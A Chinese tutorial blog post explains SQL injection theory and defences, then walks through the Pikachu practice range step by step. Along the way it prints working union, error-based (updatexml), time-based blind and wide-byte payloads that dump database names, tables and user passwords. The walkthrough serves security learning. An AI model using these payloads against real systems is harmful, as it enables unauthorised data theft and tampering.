SQL 注入漏洞一文搞懂(以pikachu靶场SQL注入为例)
2026/9/3 8:34:24 网站建设 项目流程

前言

本文以pikachu靶场为例进行介绍。

  • phpstudy
  • pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
    详细靶场搭建过程:pikachu靶场搭建详细介绍

本文仅用于网络安全技术研究与合法授权测试,严禁用于任何非法入侵行为。请严格遵守《网络安全法》,未经授权不得对任何目标进行扫描或攻击。作者不承担任何因违规使用而产生的法律责任。

理论部分

一、什么是 SQL 注入

SQL 注入是 Web 应用中较为常见的一类安全漏洞。它通常发生在应用程序没有对用户输入的数据进行严格校验、过滤或参数化处理的情况下。攻击者可以通过在输入参数中构造特殊内容,使原本由程序预设的 SQL 查询语句被改变语义,从而欺骗数据库执行非预期的查询或操作

从本质上看,SQL 注入的关键问题在于:用户输入的数据被数据库错误地当作SQL 代码的一部分执行。一旦注入成功,攻击者可能绕过身份认证、读取敏感数据、修改数据库内容,甚至在特定高权限环境下进一步影响服务器安全。

二、SQL 注入漏洞的形成原因

SQL 注入漏洞的根本成因是应用程序没有实现“数据”和“代码”的严格分离

在正常情况下,用户提交的用户名、密码、搜索关键词、编号等内容都应当被视为普通数据。但如果程序直接将这些输入拼接进 SQL 语句中,而没有进行充分的合法性检查、转义处理或参数化查询,那么攻击者就可能通过构造特殊输入,改变原有 SQL 语句的结构和含义。

因此,SQL 注入漏洞通常与以下问题有关:
1、直接拼接 SQL 语句
程序将用户输入直接拼接到 SQL 命令中,导致输入内容可能被解释为 SQL 代码。
2、输入校验不足
应用程序没有对用户提交的数据类型、长度、格式和特殊字符进行严格限制。
3、缺少参数化查询机制
没有使用预编译语句或参数绑定,导致数据库无法明确区分“数据内容”和“SQL 指令”。
4、数据库权限配置过高
应用连接数据库所使用的账号权限过大,一旦发生注入,攻击后果会被进一步放大。
5、错误信息暴露过多
程序将数据库报错信息直接返回给前端,可能帮助攻击者判断数据库类型、表结构或 SQL 语句逻辑。

概括来说,SQL 注入并不是单纯由某一个特殊字符导致的,而是由输入处理、SQL 构造方式、数据库权限和错误处理等多个环节共同失控造成的。

三、SQL 注入漏洞的常见利用形式

SQL 注入的利用方式较多,具体影响取决于数据库类型、应用逻辑、数据库权限、服务器配置以及安全防护措施。常见利用形式主要包括以下几类。

1. 绕过登录验证

在登录场景中,如果用户名、密码等参数直接参与 SQL 查询,攻击者可能通过构造特殊输入改变认证逻辑,使程序误判其身份合法,从而绕过正常登录验证。

这类问题常见于早期或安全设计较弱的后台登录系统中,本质上是认证逻辑被注入内容干扰,导致数据库返回了非预期结果。

2. 获取敏感数据

攻击者可能利用注入点查询数据库中的敏感信息,例如用户账号、密码摘要、手机号、邮箱、身份证号、订单记录、后台管理员信息等。

在安全防护不足的情况下,SQL 注入可能导致大量用户隐私数据泄露,是非常严重的数据安全风险。

3. 篡改数据库内容

如果数据库账号具有写入权限,攻击者可能通过注入修改数据库中的数据。例如修改用户权限、篡改页面内容、插入恶意链接、修改业务数据等。

这类攻击不仅影响数据完整性,还可能直接破坏网站业务逻辑。

4. 文件系统相关操作

在部分数据库和服务器配置下,如果数据库具备相应权限,攻击者可能借助数据库功能读取或写入服务器文件。例如读取配置文件、写入恶意脚本文件等。

需要注意的是,这类操作并非所有 SQL 注入都能实现,它通常依赖数据库类型、文件权限、数据库账号权限以及服务器安全配置。

5. 执行系统命令

在极端情况下,如果数据库服务具有较高权限,且数据库本身支持调用系统命令或扩展功能,攻击者可能进一步执行系统命令,扩大攻击范围。

这类情况危害极大,但通常需要满足较多前提条件,例如数据库权限过高、危险功能未关闭、服务器配置不当等。

6. 影响服务器或系统安全

当 SQL 注入与弱权限控制、文件写入、后台管理漏洞等问题叠加时,攻击者可能进一步植入后门、控制服务器,甚至破坏系统数据。
因此,SQL 注入不仅是数据库层面的漏洞,也可能成为攻击者进入服务器内部的重要突破口。

四、SQL 注入漏洞的主要危害

SQL 注入的危害可以从数据安全、业务安全和系统安全三个层面理解。

1. 数据泄露

数据库中通常保存着大量敏感信息,如用户隐私、账号凭证、业务记录、交易数据等。一旦发生 SQL 注入,攻击者可能批量读取这些信息,造成严重的数据泄露事件。

2. 数据篡改

攻击者可能修改数据库中的关键字段,例如管理员账号、用户权限、商品价格、文章内容、订单状态等。这会破坏数据的真实性和完整性,影响业务系统正常运行。

3. 网页篡改与挂马

如果网站页面内容依赖数据库生成,攻击者可能通过修改数据库字段篡改网页内容,插入恶意链接或脚本,诱导用户访问恶意页面,传播木马或其他恶意软件。

4. 权限提升与后台控制

在某些情况下,攻击者可以通过注入获取管理员账号信息,或者直接修改用户权限字段,从而进入后台管理系统,进一步控制网站功能。

5. 服务器被入侵

当数据库权限过高、服务器配置不当或存在其他漏洞时,SQL 注入可能被进一步利用来读取文件、写入后门或执行命令,最终导致服务器被远程控制。

6. 系统破坏与业务中断

严重的 SQL 注入攻击可能导致数据库被删除、业务数据被破坏、网站无法访问,甚至影响整个系统的稳定性和可用性。

因此,SQL 注入的危害不仅是“查到数据库内容”,更可能发展为数据泄露、业务篡改、权限失控乃至服务器沦陷。

五、SQL 注入的常见分类

SQL 注入可以从不同角度进行分类,常见分类方式如下。

1. 按注入点的数据类型分类

数字型注入

数字型注入通常出现在用户提交的参数本应为数字的场景,例如文章 ID、商品 ID、用户编号等。如果程序没有严格限制参数必须为数字,攻击者就可能构造异常输入影响 SQL 语句。

字符型注入

字符型注入通常出现在用户名、密码、搜索关键词、标题等字符串输入场景中。由于字符串在 SQL 语句中通常需要引号包裹,因此这类注入往往与引号闭合、语句拼接等问题有关。

搜索型注入

搜索型注入常见于站内搜索、模糊查询等功能中。由于搜索功能通常需要把用户输入放入查询条件中,如果处理不当,也可能产生注入风险。

2. 按数据提交方式分类

GET 注入

GET 注入通常出现在 URL 参数中,例如通过地址栏传递的查询参数、页面编号、文章 ID 等。

POST 注入

POST 注入常见于登录表单、注册表单、评论提交、信息修改等功能中。由于数据不会直接显示在 URL 中,因此需要结合请求体进行分析。

Cookie 注入

Cookie 注入是指应用程序读取 Cookie 中的数据并将其带入 SQL 查询时,由于未对 Cookie 内容进行安全处理而产生的注入漏洞。
早期 ASP 程序中这类问题相对常见,但其他技术栈中如果处理不当也可能出现类似风险。

HTTP 头注入

部分程序会记录或处理 HTTP 请求头信息,例如 User-Agent、Referer、X-Forwarded-For 等。如果这些头部字段被直接写入数据库或参与查询,也可能形成注入点。

3. 按获取信息的方式分类

基于布尔的盲注

当页面不直接显示数据库查询结果,但会根据查询条件返回不同页面状态时,攻击者可能通过判断页面真假变化来推断数据库信息。

基于时间的盲注

当页面没有明显回显差异时,攻击者可能通过观察数据库响应时间变化来推断条件是否成立。该方式通常效率较低,但在无明显回显场景中仍可能被利用。

基于报错的注入

如果数据库错误信息被直接返回给用户,攻击者可能利用报错内容获取数据库结构、字段信息或查询结果。

联合查询注入

联合查询注入是利用数据库的联合查询机制,将攻击者构造的查询结果合并到原有查询结果中,从而在页面中显示额外数据。

堆叠查询注入

堆叠查询注入是指在一次请求中尝试执行多条 SQL 语句。它的危害较大,但并非所有数据库、驱动程序或配置环境都支持这种方式。

六、哪些位置可能存在 SQL 注入漏洞

SQL 注入点并不只存在于登录框或搜索框中。凡是用户可控数据被后端接收,并进一步进入数据库查询、写入、更新或删除逻辑的地方,都可能存在注入风险。

常见位置包括:
1、URL 中的参数,例如文章编号、商品编号、分页参数等;
2、表单输入内容,例如用户名、密码、评论、留言、搜索关键词等;
3、Cookie 中保存的用户标识、会话参数或偏好设置;
4、HTTP 请求头字段,例如 User-Agent、Referer、X-Forwarded-For 等;
5、路由参数、目录名、文件名等动态路径内容;
6、后台管理系统中的查询、筛选、排序、导入导出等功能;
7、API 接口中的 JSON 参数、表单参数或路径参数。

其中,最常见的原因仍然是:程序对用户可控参数过滤不严,并将其直接拼接进 SQL 语句执行。

七、SQL 注入的防护思路

虽然 SQL 注入危害严重,但它也是可以通过规范开发和安全配置有效防范的漏洞类型。常见防护措施包括:

1、使用参数化查询或预编译语句
这是防范 SQL 注入最核心、最有效的方式。通过参数绑定,数据库能够明确区分 SQL 代码和用户输入数据。
2、避免直接拼接 SQL 语句
不应将用户输入直接拼接到 SQL 命令中,尤其是登录、搜索、排序、筛选等高频功能。
3、进行严格输入校验
根据业务场景限制输入类型、长度、格式和范围。例如 ID 参数应限制为数字,邮箱应符合邮箱格式,排序字段应使用白名单。
4、控制数据库账号权限
应遵循最小权限原则。应用程序连接数据库的账号只应拥有完成业务所必需的权限,避免使用数据库管理员账号直接连接业务系统。
5、隐藏详细错误信息
不应将数据库报错信息直接暴露给用户。生产环境中应统一返回通用错误提示,并在服务器端记录详细日志。
6、加强日志审计与异常检测
对异常请求、频繁报错、可疑参数、异常访问路径等行为进行记录和告警,有助于及时发现攻击迹象。
7、结合 WAF 等安全设备
Web 应用防火墙可以拦截部分常见注入攻击,但它不能替代安全编码。根本防护仍然应从代码层面解决。

八、理论总结

SQL 注入的本质,是应用程序没有正确区分用户输入数据和 SQL 代码,导致攻击者能够改变数据库查询语句的原有语义。它可能造成身份认证绕过、敏感数据泄露、数据库篡改、网页挂马,甚至服务器被控制等严重后果。

在实际开发中,防范 SQL 注入不能只依赖简单过滤特殊字符,而应综合采用参数化查询、输入校验、权限控制、错误信息保护和安全审计等措施。只有从开发、配置和运维多个层面共同防护,才能有效降低 SQL 注入风险。

pikachu靶场实操

Pikachu 靶场是一个面向 Web 安全学习与漏洞验证的开源练习平台,主要用于帮助初学者系统理解常见 Web 漏洞的产生原因、表现形式和基本防护思路。它以 PHP + MySQL 环境为基础,内置了 SQL 注入、XSS、CSRF、文件上传、文件包含、暴力破解、越权访问、命令执行、XXE、SSRF 等多个典型漏洞模块,学习者可以在本地或授权实验环境中进行复现和分析。相比直接阅读理论知识,Pikachu 的优势在于把抽象漏洞转化为可操作、可观察的实验场景,便于理解“用户输入如何影响后端逻辑”“漏洞如何被触发”“防护措施为什么有效”等问题。需要注意的是,Pikachu 仅适合用于本地学习、课程实验和授权测试,不能将其中学到的技术用于未授权的网站或系统。

1、数字型注入


因为是 POST 型,这里我们用 HackBar。

找到有效载荷。

放入POST即可:

现在开始测试:
1、加单引号进行初步探测,数据库报错。

2、加空条件 (and 1=1),这一步是判断SQL逻辑是否执行。

语句执行正常,与原始页面无任何差异。
3、加永假条件 (and 1=2),判断页面是否因条件为假而变化。

语句正常执行,但是无法查询出结果,与原始网页存在差异。

到这里,判断为数字型注入。

接下来,开始正常测试。
4、Order by 猜测字段长度
在 SQL 中,ORDER BY 后面除了可以写字段名,也可以写数字,表示按照查询结果中的第几列排序。

id=1order by3

id=1order by2

只有两个字段。

5、联合查询检查可利用字段数
union select 联合查询呈现可利用的字段数:

id=1unionselect1,2&submit=%E6%9F%A5%E8%AF%A2

id=-1 unionselect1,2&submit=%E6%9F%A5%E8%AF%A2


这里对输出没有限制,正常应该将id设置为不成立的数字。

6、爆库、用户、表、列、字段值
库和用户

id=-1 unionselectdatabase(),user()&submit=%E6%9F%A5%E8%AF%A2


id=-1 unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema='pikachu'&submit=%E6%9F%A5%E8%AF%A2


id=-1 unionselect1,group_concat(column_name)from information_schema.columns wheretable_name='users'&submit=%E6%9F%A5%E8%AF%A2


字段

id=-1 unionselectusername,password fromusers&submit=%E6%9F%A5%E8%AF%A2

2、字符型注入


判断:

加单引号:

加空条件:

kobe' and1=1--


加永假条件:

kobe' and1=2--


到这里,可以判断为字符型注入。
接下来还是一样的过程,只不过多了单引号闭合以及注释

' order by3--

'order by2--

' unionselect1,2--

' unionselectdatabase(),user()--

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --

' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --

' unionselectusername,password fromusers--

3、搜索型

一般是:

selectxxxfromxxxwherexxxlike'%abcd%'

测试:

a%' and1=1--

a%' and1=2--


是搜索型。
接下来依旧:

a%' order by3#

--#注释都行的。

a%' order by4#


查所有数据:

' or1=1--

%' unionselectversion(),user(),database()#


因为三个字段的缘故,可以顺便查版本号。
这里的版本号是数据库的。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

-1' unionselect1,username,password fromusers#

4、xx型注入

xx型注入,就是输入的值被其他符号包裹。

发现报错里面有:''kobe'')'
意思是多了一个)'
后端应该是:

select* fromuserswhere username=('kobe')

输入:

kobe')and1=1#

kobe')and1=2#

kobe')order by2#

kobe')order by3#

kobe')unionselectuser(),database()#

kobe') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

kobe') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

kobe')unionselectusername,password fromusers#

5、“insert/update” 注入


点击注册

抓包

这类注入比较常见的语句是:

insertintousers(username,password)values('$username','$password');

比如在username字段输入:

admin', 'admin123');--

最终执行的 SQL 变成:

insertintousers(username,password)values('admin','admin123');-- ','xxx');

输入单引号出现报错:

报错里面感觉没有什么有用的信息。
不过既然是"insert/update" 注入,说明没法进行联合查询,最好是进行报错注入。
extractvalue或者updatexml来进行报错注入。
输入:

yihan','admin123');--


列数不对,但是没报错。

yihan'or updatexml(1,concat(1,(select database()),0x7e),1) and '

输入这个:

我们假设原始代码是:

$sql="INSERT INTO users (username, password) VALUES ('$username', '$password')";

拼接后为:

INSERT INTOusers(username, password)VALUES('yihan'or updatexml(1,concat(1,(select database()),0x7e),1)and'','123')

爆出数据库。接下来就是和之前一样的流程。
用户:

爆表:

'or updatexml(0x7e,concat(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '


这里前面的用户名不加了,因为然后and 这里改成了or,当然and也没问题。

爆列

'or updatexml(0x7e,concat(1,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '


爆字段

'or updatexml(0x7e,concat(1,substr((select group_concat(username,password) from users),1,31),0x7e),1) or '


update注入用法和insert注入一样的。

6、“delete” 注入

先留言,再删除。

发现是数字型。

构造pyload:

56or updatexml(1, concat(0x7e,(select database()),0x7e),1)


这里要URL编码,不然会400。

直接爆数据了:

56or updatexml(1, concat(0x7e,substr((select group_concat(username,password)fromusers),1,31),0x7e),1)

7、http头注入


加单引号:

出现报错。
而且报错显示是SQL语句上的报错,这里就是表明可以尝试注入。

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

8、基于boolian的盲注



基本测试一下:

1' and1=1#

1' and1=2#


直接爆库就行,说明可以进行联合查询:

' unionselectdatabase(),version()#


爆表:

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#


接下来步骤和上面一样的。

9、基于时间的盲注

这里用一些工具更方便。
延迟0.5秒:

' or1=1and sleep(0.5)--


0.5s 其实挺难判断的,但是设置时间太长的话又要考虑服务会不会断。
然后因为没有回显,就只能一个字符一个字符的判断。
先判断数据库长度:

# 长度是否大于 5' or1=1and sleep(if(length(database())>5,0.5,0))--

判断数据库库名第一个字符是不是p

' or1=1and sleep(if(ascii(substr(database(),1,1))=112,0.5,0))--

判断第一个表的长度:

# 长度是否大于 5' or1=1and sleep(if(length((select table_name from information_schema.tables where table_schema=database()limit0,1))>5,0.5,0))--

判断第一个表的第一个字符是不是h

' or1=1and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit0,1),1,1))=104,0.5,0))--

以此类推,这里推荐用Sqlmap这样的工具。

10、wide byte注入

原理:
GBK是双字节字符,两个字节代表一个汉字;我们输入% df',转义之后变成% df\ ',反斜杠\的十六进制是%5c%df%5cMySQL解析成一个完整GBK汉字,单引号被成功逃逸出来。
比如提交参数:?id=%df'
PHP 转义单引号:' → \'
现在字符串十六进制:df 5c 27
GBK 编码规则:首字节范围0x81~0xFE,第二个字节0x40~0xFE
0xdf(首字节)+0x5c(第二个字节) 组合成一个合法GBK汉字,吃掉了反斜杠。
剩下单独字节0x27(单引号)成功逃逸转义,闭合 SQL 语句。
输入:

kobe%df' or1=1#


数据库库名:

kobe%df' unionselect1,database()#


表名:

%df' unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询